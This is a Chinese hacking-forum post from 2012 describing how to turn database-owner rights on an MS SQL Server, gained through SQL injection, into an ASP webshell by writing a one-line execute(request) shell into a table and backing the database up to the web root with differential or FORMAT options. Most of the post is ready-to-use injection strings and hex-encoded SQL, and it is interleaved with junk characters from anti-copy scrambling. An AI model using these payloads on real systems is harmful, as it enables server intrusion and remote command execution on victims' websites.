找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2433|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:4 T: {( k2 @' ]/ E( G

' ], B# W6 ^. R0 ?- X, s减少备份文件大小,得到可执行的webshell成功率提高不少* A$ u0 K$ O- h' b: d- R
一利用差异备份
' q4 M  o4 L. K  ?: n6 F加一个参数WITH DIFFERENTIAL0 ^9 u0 j/ K0 r9 \0 n5 X& B
1 ]6 S. I4 [+ {- S
1/ k# r/ ^/ n$ T; Q1 T2 F4 o  c  q
2
- Y5 U/ M$ {1 h: p, ?3* T8 M3 C& _  d6 h' _2 U
4
# ?" |+ d) [( q declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ J! h8 L2 z% y4 p; `9 k- pcreate table [dbo].[xiaolu] ([cmd] [image]);
: K# f# R8 u6 R' q) B0 ^& s" Sinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
# h9 Q7 G& T4 Z% Q/ Edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
6 Y+ b! v/ t0 \1 |+ F% j, F( n% k
: L# O8 h  a- M& B二利用完全FORMAT/ J2 U: H4 n- N5 F$ D, j0 w8 x& a
加一个参数WITH FROMAT2 b! b9 q7 U2 N* m& Z8 {0 B
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
/ e8 r, D$ Z4 w6 C( H4 ]6 z# o
1' n1 M) H4 u6 h8 G! d: ?- _3 F% n
20 W6 s8 A( }* O" }  w3 l
3
& z- h; }& m, C7 n0 P/ j- s, j( ^4
* O4 u4 s2 Q3 N declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
* o( w* d. q0 f5 Y4 ]# Z7 y: hcreate table [dbo].[xiaolu] ([cmd] [image]);
% F" ]9 P3 C! n0 _9 N2 W8 v5 J: M7 xinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)+ U+ k: D; F% F4 L+ Q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
4 s+ j0 Z& Y7 v2 }# {# h! f; Y+ x* B6 i8 N' J7 a6 n
总的来说就是那么简单几句,下面以备份数据库model为例子/ e8 L* t4 C5 C( h9 m( J, |* v
17 v) F% x, z8 z/ ~* N
' H: B3 ~( \: t0 u
1
4 f( s6 t& N# L4 Y- D" c7 u8 L4 H id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 6 ^' P+ F- c+ ?8 R
9 x0 `2 F! _+ e+ g9 z& C* y  J3 n5 N! C, X
2; y  r4 x4 W% N1 g6 B, R0 S0 y
9 u1 j* g. c( M  ^
1' c0 X9 ?; q8 v$ H/ K) a0 x
id=1;backup database model to disk='你的路径‘ with differential,format;-- 3 U/ R8 W; z# p, s8 \% q: F# m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表